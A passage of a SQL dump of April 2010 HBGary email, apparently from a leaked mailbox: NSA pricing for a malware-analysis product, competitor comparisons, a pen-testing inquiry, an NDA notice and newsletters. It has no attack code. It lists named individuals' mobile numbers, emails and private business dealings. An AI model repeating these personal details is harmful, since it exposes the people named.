learned.\r\n\r\n&nbsp;\r\n\r\nThe doc we give them should be limited to a WHITEPAPER&nbsp;\r\nonly.\r\n\r\n&nbsp;\r\n\r\nHere are some things Martin told me about work that needs to\r\nhappen:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFront end needs to be built.&nbsp; The Stalker\r\nprogram that is there now isn&#8217;t even close to being fit for end users.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDB needs to be redesigned.&nbsp; Martin said it\r\nwill not scale as it is\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSwap out Flypaper for REcon.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLearn what they need for reports and create them\r\n\r\n&nbsp;\r\n\r\nIt might take 3 man-months of work to make it usable.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13652,'aaron_hbgary_com/13652.html'),(5757,'2010-04-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004205.M516947P14101Q612.eml','aaron@hbgary.com','slides for TMC','attached\r\n',5120,'aaron_hbgary_com/5120.html'),(5758,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004206.M766330P14101Q613.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: REcon budgetary pricing','ok.I think we should be up front with all of them about these things, both pricing and what needs to be done, how long it will take, when a solution for them will be ready.On pricing. &nbsp;I have no idea and don\'t want to assume what the right price is. &nbsp;Processing 10,000 malware a day and providing repeatable and accurate results on identifying malware, including zero days. &nbsp;$100,000 certainly seems very reasonable, probably could get more. &nbsp;I understand the negotiation process and will leave that to you. &nbsp;Keep in mind that 10,000 will likely be the very high end. &nbsp;Maybe options or good or maybe not. &nbsp;My guess is there is not that much difference in expense between a system that can handle 5,000 vs. 10,000 so maybe you just tell him that 10K is our base system and your thinking around $X...whatever makes sense. &nbsp;I won\'t put any of these materials in the presentation and just leave it up to you to discuss. &nbsp;We should have written down any items that are options, will take longer development, and cost extra.1) integration with SNORT.2) user input to genome3) Different exporting formats (not sure if they want this)etc.AaronOn Apr 28, 2010, at 1:39 PM, Bob Slapnik wrote:Aaron,&nbsp;Here is my view of pricing for this opportunity.&nbsp; We should NOT send them this doc in advance or hand it to them during the meeting,&nbsp; It is too soon in the sales process.&nbsp; Let’s have the meeting.&nbsp; Learn even more about their needs.&nbsp; Do the presentation and demo.&nbsp; We size up their needs.&nbsp; Looks like the needs continue to include more groups.&nbsp; They are likely to throw in new ideas or even other features.&nbsp; Let’s get all of that dialogue on the table.&nbsp; THEN let’s DISCUSS pricing to see how they react.&nbsp; After we get all that input we come back with a customize proposal that includes what we learned.&nbsp;The doc we give them should be limited to a WHITEPAPER&nbsp; only.&nbsp;Here are some things Martin told me about work that needs to happen:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Front end needs to be built.&nbsp; The Stalker program that is there now isn’t even close to being fit for end users.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DB needs to be redesigned.&nbsp; Martin said it will not scale as it is·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Swap out Flypaper for REcon.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Learn what they need for reports and create them&nbsp;It might take 3 man-months of work to make it usable.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&lt;TMC Budgetary Estimate for NSA.xlsx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15852,'aaron_hbgary_com/15852.html'),(5759,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004209.M842195P14101Q614.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: slides for TMC','thanks.\r\n\r\nDo you have any better shots of something like this.  The image of the portal at the bottom is what I am looking for.\r\n\r\n\r\n',4174,'aaron_hbgary_com/4174.html'),(5760,'2010-04-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004210.M172801P14101Q615.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REcon budgetary pricing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI just spoke with Penny about pricing.&nbsp; She said Sunbelt charges\r\n$15k per 500 malware, so their list price would be $300k for 10k malware.&nbsp; And\r\nkeep in mind they sell ANNUAL LICENSES.&nbsp; So to truly compete with Sunbelt we\r\nshould have the customer look at the 3 or 5-year cost.\r\n\r\n&nbsp;\r\n\r\nSunbelt has around 160 employees but only 5 who are involved\r\nwith CWSandbox.&nbsp; The CWSandbox guys are the black sheep at that company who get\r\nvery little dev or tech support.&nbsp; It will be unlikely they can put cleared\r\npeople onsite.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 2:06 PM\r\nTo: Bob Slapnik\r\nSubject: Re: REcon budgetary pricing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think we should be up front with all of them about these\r\nthings, both pricing and what needs to be done, how long it will take, when a\r\nsolution for them will be ready.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn pricing. &nbsp;I have no idea and don\'t want to assume\r\nwhat the right price is. &nbsp;Processing 10,000 malware a day and providing\r\nrepeatable and accurate results on identifying malware, including zero days.\r\n&nbsp;$100,000 certainly seems very reasonable, probably could get more.\r\n&nbsp;I understand the negotiation process and will leave that to you.\r\n&nbsp;Keep in mind that 10,000 will likely be the very high end. &nbsp;Maybe\r\noptions or good or maybe not. &nbsp;My guess is there is not that much\r\ndifference in expense between a system that can handle 5,000 vs. 10,000 so\r\nmaybe you just tell him that 10K is our base system and your thinking around\r\n$X...whatever makes sense. &nbsp;I won\'t put any of these materials in the\r\npresentation and just leave it up to you to discuss. &nbsp;We should have\r\nwritten down any items that are options, will take longer development, and cost\r\nextra.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1) integration with SNORT.\r\n\r\n\r\n\r\n\r\n\r\n2) user input to genome\r\n\r\n\r\n\r\n\r\n\r\n3) Different exporting formats (not sure if they want this)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\netc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 28, 2010, at 1:39 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis my view of pricing for this opportunity.&nbsp; We should NOT send them this\r\ndoc in advance or hand it to them during the meeting,&nbsp; It is too soon in\r\nthe sales process.&nbsp; Let&#8217;s have the meeting.&nbsp; Learn even more about\r\ntheir needs.&nbsp; Do the presentation and demo.&nbsp; We size up their\r\nneeds.&nbsp; Looks like the needs continue to include more groups.&nbsp; They\r\nare likely to throw in new ideas or even other features.&nbsp; Let&#8217;s get all of\r\nthat dialogue on the table.&nbsp; THEN let&#8217;s DISCUSS pricing to see how they\r\nreact.&nbsp; After we get all that input we come back with a customize proposal\r\nthat includes what we learned.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\ndoc we give them should be limited to a WHITEPAPER&nbsp; only.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nare some things Martin told me about work that needs to happen:\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Front end needs to be built.&nbsp; The\r\nStalker program that is there now isn&#8217;t even close to being fit for end users.\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DB needs to be redesigned.&nbsp; Martin\r\nsaid it will not scale as it is\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Swap out Flypaper for REcon.\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Learn what they need for reports and create\r\nthem\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nmight take 3 man-months of work to make it usable.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nSlapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;TMC\r\nBudgetary Estimate for NSA.xlsx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2836 - Release Date: 04/28/10\r\n02:27:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',970,'aaron_hbgary_com/970.html'),(5761,'2010-04-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004210.M389035P14101Q616.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Announcing GSA Opening Doors 2010 Business-to-Government 	Conference','In waiting room now - our session starts soon. Oh joy.  Did you see thisConference? Begin forwarded message:\r\nFrom: donotreply@gsa.govDate: April 28, 2010 11:53:58 AM MDTTo: ted@hbgary.com\r\nSubject: Announcing GSA Opening Doors 2010 Business-to-Government ConferenceReply-To: r9sbconference@gsa.gov\r\nHosted by the U.S. General Services Administration at the Hyatt RegencyCentury Plaza in Los Angeles, August 9-11, 2010, GSA Opening Doors 2010 is\r\nthe business-to-government event of the year!Our sixth annual conference will connect small businesses in all categorieswith multiple government agencies at all levels and their prime contractors\r\nfor big opportunities in a recovering economy.Highlights•     Three full days of networking and information leading to potentialgovernment contracts and business partnerships\r\n•     Two afternoons of pre-scheduled, one-on-one business matchmakingappointments between buyers and sellers•     Workshops offering something for everyone at the beginner,\r\nintermediate and advanced levels of experience with the federal, state andlocal government markets•     Keynotes from government officials and small business advocates•     More than 100 exhibits from government agencies, prime contractors\r\nand small businessesNEW to the line-up this year are workshops on contract negotiations,exporting, going green, and small business certifications andqualifications.\r\nWho Should Attend/Exhibit•     Small businesses new to the government market•     Small businesses familiar with the government market seekingsubcontracting opportunities with prime contractors\r\n•     Experienced prime contractors looking to form new Contractor TeamArrangements or to participate in GSA&#39;s new Mentor-Protege Program•     GSA Schedule contractors wanting to learn more about marketing to the\r\ngovernmentWe have worked hard to keep registration fees and exhibit space costs aslow as possible. This event SOLD OUT last year, and we encourage you to\r\nsign up today to save your seat and save money! Early bird prices end June1.All this and more at&gt; http://gsaopeningdoors.com/Register.shtm\r\nSincerely,GSA Opening Doors 2010 TeamYou received this email as the point of contact listed for your company onthe Central Contractor Registration. The list was requested by the U.S.\r\nGeneral Services Administration under the Freedom of Information Act. Yourpersonally identifiable information is protected under the Privacy Act.Your email address was used for the sole purpose of notifying you about GSA\r\nOpening Doors 2010.\r\n',16117,'aaron_hbgary_com/16117.html'),(5762,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004213.M430994P14101Q617.eml','\"Bob Slapnik\" <bob@hbgary.com>','Slides so far','Hey Bob,\r\n\r\nTell me what you think so far.  Still working on them.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15707,'aaron_hbgary_com/15707.html'),(5763,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004213.M748130P14101Q618.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Announcing GSA Opening Doors 2010 Business-to-Government 	Conference','Dude ur in the waiting room emailing?   Hmmmm ur doomed.  Just kidding.  Give it a fair shake.  Never know.  Sometimes it&#39;s just the act tater than if it is actually helpful.  Who knows?  How&#39;s that for positive.\r\nI&#39;ll check it out.From my iPhoneOn Apr 28, 2010, at 3:07 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nIn waiting room now - our session starts soon. Oh joy.  Did you see thisConference? Begin forwarded message:\r\nFrom: donotreply@gsa.govDate: April 28, 2010 11:53:58 AM MDTTo: ted@hbgary.com\r\n\r\nSubject: Announcing GSA Opening Doors 2010 Business-to-Government ConferenceReply-To: r9sbconference@gsa.gov\r\n\r\nHosted by the U.S. General Services Administration at the Hyatt RegencyCentury Plaza in Los Angeles, August 9-11, 2010, GSA Opening Doors 2010 is\r\n\r\nthe business-to-government event of the year!Our sixth annual conference will connect small businesses in all categorieswith multiple government agencies at all levels and their prime contractors\r\n\r\nfor big opportunities in a recovering economy.Highlights•     Three full days of networking and information leading to potentialgovernment contracts and business partnerships\r\n\r\n•     Two afternoons of pre-scheduled, one-on-one business matchmakingappointments between buyers and sellers•     Workshops offering something for everyone at the beginner,\r\n\r\nintermediate and advanced levels of experience with the federal, state andlocal government markets•     Keynotes from government officials and small business advocates•     More than 100 exhibits from government agencies, prime contractors\r\n\r\nand small businessesNEW to the line-up this year are workshops on contract negotiations,exporting, going green, and small business certifications andqualifications.\r\n\r\nWho Should Attend/Exhibit•     Small businesses new to the government market•     Small businesses familiar with the government market seekingsubcontracting opportunities with prime contractors\r\n\r\n•     Experienced prime contractors looking to form new Contractor TeamArrangements or to participate in GSA&#39;s new Mentor-Protege Program•     GSA Schedule contractors wanting to learn more about marketing to the\r\n\r\ngovernmentWe have worked hard to keep registration fees and exhibit space costs aslow as possible. This event SOLD OUT last year, and we encourage you to\r\n\r\nsign up today to save your seat and save money! Early bird prices end June1.All this and more at&gt; http://gsaopeningdoors.com/Register.shtm\r\n\r\nSincerely,GSA Opening Doors 2010 TeamYou received this email as the point of contact listed for your company onthe Central Contractor Registration. The list was requested by the U.S.\r\n\r\nGeneral Services Administration under the Freedom of Information Act. Yourpersonally identifiable information is protected under the Privacy Act.Your email address was used for the sole purpose of notifying you about GSA\r\n\r\nOpening Doors 2010.\r\n\r\n',2099,'aaron_hbgary_com/2099.html'),(5764,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004213.M984105P14101Q619.eml','\"Shane Shook\" <sdshook@yahoo.com>','Re: Do you do Web Site testing?','Hi Shane,Sorry yesterday stacked up on me. &nbsp;Hows the rest of the week?Friday until later in the afternoon I am busy but pretty open tomorrow.AaronOn Apr 25, 2010, at 9:42 PM, Shane Shook wrote:Aaron - sorry I was out of touch last week, had friends visiting&nbsp;Give me a call tomorrow or Tuesday at your convenience.&nbsp; I do perform pen testing, and app testing as well.&nbsp; I have a lab in Chicago (long story) that runs through a direct-connect with a backbone provider where I run my exams.&nbsp; For apps testing I generally need on-site access but web testing I do remotely of course.&nbsp;thanks - Shane / 425.891.5281From:&nbsp;Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;To:&nbsp;Shane Shook &lt;sdshook@yahoo.com&gt;Cc:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Sent:&nbsp;Fri, April 9, 2010 4:31:45 PMSubject:&nbsp;Do you do Web Site testing?Do you do web pen testing?&nbsp; Or mostly forensic stuff?&nbsp; Aaron might have jobs for you&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11146,'aaron_hbgary_com/11146.html'),(5765,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004214.M250086P14101Q620.eml','\"Greg Hoglund\" <greg@hbgary.com>','Demo','Greg,\r\n\r\nI watched the video on Aurora decrypted buffers.  Good video.\r\n\r\nI think I should pick u up around 730am, make sure we beat the traffic\r\non 495 to 95 (breeze once on 95).  We may get up there early, if so we\r\ncan always grab a coffee.\r\n\r\nI\'ll send u some slides to look at tonight or in the morning.  Not many\r\nslides, just context.  Conversation and demo will speak for itself.  Not\r\nsure what the environment will be like for demos, but I have asked the\r\nquestion (projector, etc).\r\n\r\nAaron\r\n\r\n',6595,'aaron_hbgary_com/6595.html'),(5766,'2010-04-28','\"Kitchen, Torri E (TASC)\" <Torri.Kitchen@TASC.COM>','/aaron@hbgary.com/new/1297004223.M384892P14101Q621.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Signed NDA - COIN','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood afternoon Aaron, \r\n\r\n&nbsp;\r\n\r\nAttached is the fully executed copy of the signed TA. \r\n\r\n&nbsp;\r\n\r\nRegards, \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTorri Kitchen \r\n\r\nSubcontract Administrator\r\nTASC, Inc.\r\n4803 Stonecroft Blvd. \r\nChantilly, VA 20151 \r\nPH: 703-449-3726\r\n\r\nFax: 978-684-7632\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPROPRIETARY\r\nINFORMATION\r\n\r\nThis e-mail, including attachments,\r\nmay include confidential and/or proprietary information, to TASC, Inc. and may\r\nbe used only by the person or entity to which it is addressed. If the reader of\r\nthis e-mail is not the intended recipient or his or her authorized agent, the\r\nreader is hereby notified that any dissemination, distribution or copying of\r\nthis e-mail is prohibited. If you have received this e-mail in error, please notify\r\nthe sender by replying to this message and delete this e-mail immediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 12:48 PM\r\nTo: Kitchen, Torri E (TASC)\r\nSubject: Re: Signed NDA - COIN\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Torri,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDId you send me back an executed copy of the TA? &nbsp;I\r\nhave the NDA.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 22, 2010, at 11:01 AM, Kitchen, Torri E (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood morning Aaron, \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAttached is a fully\r\nexecuted copy of the NDA for your records. \r\n\r\nRegards, \r\n\r\n&lt;&lt;Signed\r\nNDA_COIN.pdf&gt;&gt; \r\n\r\nTorri Kitchen \r\n\r\nSubcontract Administrator\r\nTASC, Inc.\r\n4803 Stonecroft Blvd.\r\nChantilly, VA 20151\r\nPH: 703-449-3726\r\n\r\nFax: 978-684-7632\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPROPRIETARY INFORMATION\r\n\r\nThis e-mail,\r\nincluding attachments, may include confidential and/or proprietary information,\r\nto TASC, Inc. and may be used only by the person or entity to which it is\r\naddressed. If the reader of this e-mail is not the intended recipient or his or\r\nher authorized agent, the reader is hereby notified that any dissemination,\r\ndistribution or copying of this e-mail is prohibited. If you have received this\r\ne-mail in error, please notify the sender by replying to this message and\r\ndelete this e-mail immediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Signed NDA_COIN.pdf&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7064,'aaron_hbgary_com/7064.html'),(5767,'2010-04-28','sdshook@yahoo.com','/aaron@hbgary.com/new/1297004223.M985325P14101Q622.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Do you do Web Site testing?','Sure, I am open tomorrow after 10am, just call when you have time 4258915281Sent via BlackBerry from T-MobileFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 28 Apr 2010 15:14:26 -0400To: Shane Shook&lt;sdshook@yahoo.com&gt;Subject: Re: Do you do Web Site testing?Hi Shane,Sorry yesterday stacked up on me. &nbsp;Hows the rest of the week?Friday until later in the afternoon I am busy but pretty open tomorrow.AaronOn Apr 25, 2010, at 9:42 PM, Shane Shook wrote:Aaron - sorry I was out of touch last week, had friends visiting&nbsp;Give me a call tomorrow or Tuesday at your convenience.&nbsp; I do perform pen testing, and app testing as well.&nbsp; I have a lab in Chicago (long story) that runs through a direct-connect with a backbone provider where I run my exams.&nbsp; For apps testing I generally need on-site access but web testing I do remotely of course.&nbsp;thanks - Shane / 425.891.5281From:&nbsp;Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;To:&nbsp;Shane Shook &lt;sdshook@yahoo.com&gt;Cc:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Sent:&nbsp;Fri, April 9, 2010 4:31:45 PMSubject:&nbsp;Do you do Web Site testing?Do you do web pen testing?&nbsp; Or mostly forensic stuff?&nbsp; Aaron might have jobs for you&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',3034,'aaron_hbgary_com/3034.html'),(5768,'2010-04-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004224.M240773P14101Q623.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Slides so far','Aaron,\r\n\r\nI could not see any slides. Please send as powerpoint file or as pdf.\r\n\r\nBob \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 3:09 PM\r\nTo: Bob Slapnik\r\nSubject: Slides so far\r\n\r\nHey Bob,\r\n\r\nTell me what you think so far.  Still working on them.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: 04/28/10\r\n02:27:00\r\n\r\n',13312,'aaron_hbgary_com/13312.html'),(5769,'2010-04-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004224.M504163P14101Q624.eml','\"Aaron Barr\" <aaron@hbgary.com>','More NSA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThis email has some stream of consciousness&#8230;&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nI spoke with Nathaniel Gray of the Blue Team.&nbsp; They\r\nwill want to use TMC both in the field (think portable TMC) and at HQ.\r\n\r\n&nbsp;\r\n\r\nHe said they have banks of computers that may be used to run\r\nmultiple applications, one of which will be TMC.&nbsp; So, they may schedule\r\nTMC runs for when they get the computer banks.\r\n\r\n&nbsp;\r\n\r\nTHIS IS HUGE &#8211; They will run old binaries through TMC\r\nmultiple times as DDNA evolves over time.&nbsp; He referred to them as &#8220;historical\r\nbacklog binaries&#8221;.&nbsp; As they make the Customer Genome smarter over\r\ntime they will want to run old binaries through TMC.&nbsp; This increases the utility\r\nand value of TMC to them.\r\n\r\n&nbsp;\r\n\r\nI told Nathaniel about Ad Hoc Queries &#8211; He said, &#8220;Wow.\r\nI can think of about 16 ways to use this.&#8221;&nbsp; He had too much to say\r\nand didn&#8217;t want to talk about it on the phone.&nbsp; So, once the TMC\r\npresentation and demo are done, I&#8217;d like to show Active Defense and Ad\r\nHoc Queries to those who want to see it.\r\n\r\n&nbsp;\r\n\r\nNathaniel also said they take commercial products and use\r\nthem in unique ways.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to have better intel about how many binaries\r\nthey would process in a day.&nbsp; Nathaniel led me to believe it can be big\r\nnumbers.\r\n\r\n&nbsp;\r\n\r\nIn field they will want to be light and fast so they may run\r\nbinaries through TMC for 20 seconds each, but run them for several minutes at\r\nHQ.&nbsp; The amount of time impacts how many binaries per machine per day. \r\n\r\n&nbsp;\r\n\r\nMore and more I am thinking of offering TMC for a flat price\r\nfor the HQ setup for all they can eat.&nbsp; Figure $300k plus 20% annual\r\nmaintenance.&nbsp; If other groups want their own system it will be another\r\nsale.&nbsp; And another sale for the field units.\r\n\r\n&nbsp;\r\n\r\nNathaniel figures they will need 3k malware per day in the\r\nfield.&nbsp; CWSandbox list price would be $15k x 3k/500 = $90k per year.&nbsp;\r\nYes, Sunbelt would discount to get the order.&nbsp; I&#8217;m figuring our\r\nprice for the field units could be $20k per computer as a perpetual license\r\nplus annual maintenance.&nbsp; For 3 computers that would be $60k plus $15k per\r\nyear for maintenance.&nbsp; My philosophy is come in around the competitor&#8217;s\r\nprice but give way more value.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14380,'aaron_hbgary_com/14380.html'),(5770,'2010-04-29','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297004224.M797960P14101Q625.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 4/28/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Apr 21 - Apr 28\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                        Jim Barnett is now COO at SeaCure Associates LLC\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Mohannad H. Gomaa, MBA PMP FE has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Christa Salaz has an updated current title: Manager, Contracts at TASC, Inc.\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Leland Vulcan\r\n    is now connected 